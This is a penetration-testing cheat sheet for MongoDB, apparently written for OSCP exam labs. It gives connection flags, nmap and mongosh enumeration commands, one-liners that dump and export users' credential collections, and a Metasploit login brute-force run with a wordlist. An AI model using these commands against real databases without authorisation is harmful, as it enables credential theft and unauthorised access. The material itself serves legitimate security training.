MongoDB — Complete Reference
What is MongoDB?
MongoDB is a NoSQL document database storing data as JSON-like BSON documents. Runs on port 27017/TCP. Older installations often have no authentication enabled.
OSCP use: Connect without creds, list databases, dump user/credential collections from web apps.
Install (Kali)
sudo apt update && sudo apt install -y mongodb-clients
# or install mongosh from mongodb.com if package missingVerify: mongosh --version
Full install index → Installation - Kali Setup
Port
| Port | Service |
|---|---|
27017/TCP | MongoDB |
Syntax
mongosh [options] [connection string]📌 1) Connection Flags & URI
| Flag / Option | Description |
|---|---|
mongosh HOST:PORT | Connect to host:port |
mongosh mongodb://HOST:PORT | URI format |
mongosh mongodb://user:pass@HOST:PORT/db | With authentication |
--host HOST | Host |
--port PORT | Port (default: 27017) |
--username USER | Username |
--password PASS | Password |
--authenticationDatabase DB | Auth database (often admin) |
--eval "JS" | Run JavaScript and exit |
--quiet | Minimal output |
--json | JSON output |
--nodb | Don’t connect to any DB on startup |
--help | Help |
# No auth (most common on OSCP)
mongosh 10.10.10.10
mongosh mongodb://10.10.10.10:27017
# With auth
mongosh mongodb://admin:password@10.10.10.10:27017
mongosh --host 10.10.10.10 --username admin --password password --authenticationDatabase admin
# One-liner
mongosh 10.10.10.10 --eval "show dbs"
mongosh 10.10.10.10 --eval "db.getUsers()"Legacy client (older Kali):
mongo 10.10.10.10
mongo mongodb://10.10.10.10:27017📌 2) Nmap Enumeration
nmap -p 27017 -sV 10.10.10.10
nmap -p 27017 --script mongodb-info,mongodb-databases 10.10.10.10📌 3) Interactive Commands (mongosh)
// ─── INFO ─────────────────────────────────────────────────────
db.version()
db.getMongo()
db.stats()
// ─── ENUMERATE ────────────────────────────────────────────────
show dbs // List databases
use dbname // Switch database
show collections // List collections (tables)
db.collectionname.find() // Dump all documents
db.collectionname.find().pretty() // Formatted output
db.collectionname.findOne() // Single document
// Find specific data
db.users.find()
db.users.find({username: "admin"})
db.users.find({role: "administrator"})
// List users (if auth enabled)
db.getUsers()
db.getRoles()
// Admin database
use admin
db.system.users.find() // All MongoDB users (if readable)
// Count documents
db.users.countDocuments()
// List indexes
db.collectionname.getIndexes()Useful One-Liners
# Dump all DB names
mongosh 10.10.10.10 --quiet --eval "db.adminCommand('listDatabases')"
# Dump users collection
mongosh 10.10.10.10 --eval "use webapp; db.users.find().toArray()"
# Export to JSON
mongoexport --host 10.10.10.10 --db webapp --collection users --out users.json
mongoexport --host 10.10.10.10 --db webapp --collection users --type=csv --fields username,password --out users.csv📌 4) What to Look For
- No authentication — immediate access to all data
- Credential collections:
users,accounts,admins,credentials - API keys / secrets in config collections
- Session tokens in
sessionscollections - Admin database —
admin.system.usersfor MongoDB user hashes
📌 5) Metasploit Enumeration
use auxiliary/scanner/mongodb/mongodb_login
set RHOSTS 10.10.10.10
set USERNAME admin
set PASS_FILE /usr/share/wordlists/rockyou.txt
run
use auxiliary/gather/mongodb_js_enum
set RHOST 10.10.10.10
run📌 Quick Cheat Sheet (Copy/Paste)
# ─── CONNECT ──────────────────────────────────────────────────
mongosh TARGET
mongosh mongodb://TARGET:27017
mongosh mongodb://user:pass@TARGET:27017
# ─── ENUMERATE ────────────────────────────────────────────────
show dbs
use dbname
show collections
db.users.find()
db.users.find({username:"admin"})
# ─── ONE-LINERS ───────────────────────────────────────────────
mongosh TARGET --eval "show dbs"
mongosh TARGET --eval "use webapp; db.users.find().toArray()"
# ─── EXPORT ───────────────────────────────────────────────────
mongoexport --host TARGET --db webapp --collection users --out users.json